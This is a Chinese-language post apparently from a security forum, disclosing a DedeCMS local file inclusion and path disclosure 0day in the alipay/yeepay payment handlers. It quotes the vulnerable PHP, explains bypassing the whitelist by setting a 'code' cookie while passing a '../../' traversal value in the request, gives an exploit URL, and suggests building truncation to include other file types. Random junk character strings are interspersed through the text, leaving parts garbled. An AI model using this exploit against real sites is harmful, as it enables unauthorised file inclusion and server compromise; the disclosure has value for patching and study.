dedecms本地文件包含及物理路径泄露0day

admin

晚餐吃撑了，瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多，赶紧下了套，用editplus搜索了几个关键字，果然发现些问题。(话说平时写代码也喜欢用editplus，小巧方便多年习惯)
1 V- R/ F4 e7 H1 I
出现漏洞的两个文件为：
Include/payment/alipay.php
Include/payment/yeepay.php
6 H7 R6 u) s2 ^3 U! J, A漏洞均出现在respond方法里，估计这两个文件是临时工写的。
1 V2 y/ ~2 m( q" X) [
, b8 J% F1 ^' S7 u: ]" ZInclude/payment/alipay.php

- @% @6 r4 f: T......
   function respond()
1 ?2 ?$ t- s( |3 ~; L3 W* n    {
        if (!empty($_POST))
, P/ U7 `6 `3 }: w        {
4 o  w! @+ S$ L' U5 f% T# c            foreach($_POST as $key => $data)
* o9 [1 ]$ P- o* y. e6 V# g0 q+ a            {
                $_GET[$key] = $data;
, A7 ?( v& q: w$ L6 b( z3 g            }
        }
5 Y, H3 `: i4 a2 r% d' Z: [$ ^        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
( S5 d& M1 g0 s......


  |- Y( g" M% U: v3 w& r$ m大概在133行左右，$_GET[‘code’]没有经过任何判断和过滤。

/ j% X, s* e( A' P% gInclude/payment/yeepay.php
2 l* C1 f1 i) _% `3 L+ i4 `
9 D! a4 q5 R3 e3 p

5 _- L" e1 j7 Y5 f  `7 [! `! M......
7 U- |3 a- ?2 ~$ m5 M. o    function respond()
    {
3 o, a" h# t8 ?/ x
        /* 引入配置文件 */
0 V1 A+ I) f( Y8 g, n* \        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
# G2 N6 H9 L" e5 d9 ^
, O2 Q& P, U  ]9 Q* @) `9 ]/ f, N: B5 H        $p1_MerId = trim($payment['yp_account']);
        $merchantKey = trim($payment['yp_key']);
" P( ^4 n/ c. L! j0 F0 Q( o......
+ z$ S. `3 J* p


& t, [0 c0 n0 y, X4 i7 D  K
大概在145行左右，$_REQUEST['code']没有经过任何判断和过滤。
# h' I$ C, x0 |) j# E
这两个方法在plus/carbuyaction.php文件调用。
! D# e* r; B; w6 b' A/ i
plus/carbuyaction.php
0 s3 M: U5 R3 l6 o0 A* o" F/ x
......
: Z) e' ?* ?! b5 [1 W( k, y5 x} else if ($dopost == 'return') {
5 K- Z) z6 O3 L+ \    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
% p: C, @- j, _! h    if (in_array($code, $write_list))
    {
0 k* B2 R. ^1 f& @        require_once DEDEINC.'/payment/'.$code.'.php';
        $pay = new $code;
- `$ x$ z! s2 l6 s7 V: f        $msg=$pay->respond();
        ShowMsg($msg, "javascript:;", 0, 3000);
        exit();  
    } else {
        exit('Error:File Type Can\'t Recognized!');
    }
8 F" V1 A* F7 V. [7 h" p}
* E+ t) |% d' ]; _. S......
; b5 F/ X% r+ r& f5 u' x, \3 X
2 ]& Z9 f1 p( o, @- l
( z: n) e2 A! [) Y


# w- Z+ d6 P$ q  J7 i
大概在334行，当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
所以$_GET['code']或$_REQUEST['code']会变成$code，而$code是经过判断的，值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
; }8 L4 f) P9 c6 C  Z& g
* h+ x" e) V: ?- X. O' P% H回到include/common.inc.php来看看他的机制。
% S; B) m; L; l6 W: J

; m. I8 i  Z) A
......
6 H/ K3 d6 c( Iforeach(Array('_GET','_POST','_COOKIE') as $_request)
{
        foreach($$_request as $_k => $_v)
4 k* |6 r  J+ O, q        {
                if($_k == 'nvarname') ${$_k} = $_v;
                else ${$_k} = _RunMagicQuotes($_v);
        }
}
......
大概在79行，可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿，细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准，而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。注：请勿非法测试，产生后果与本人无关。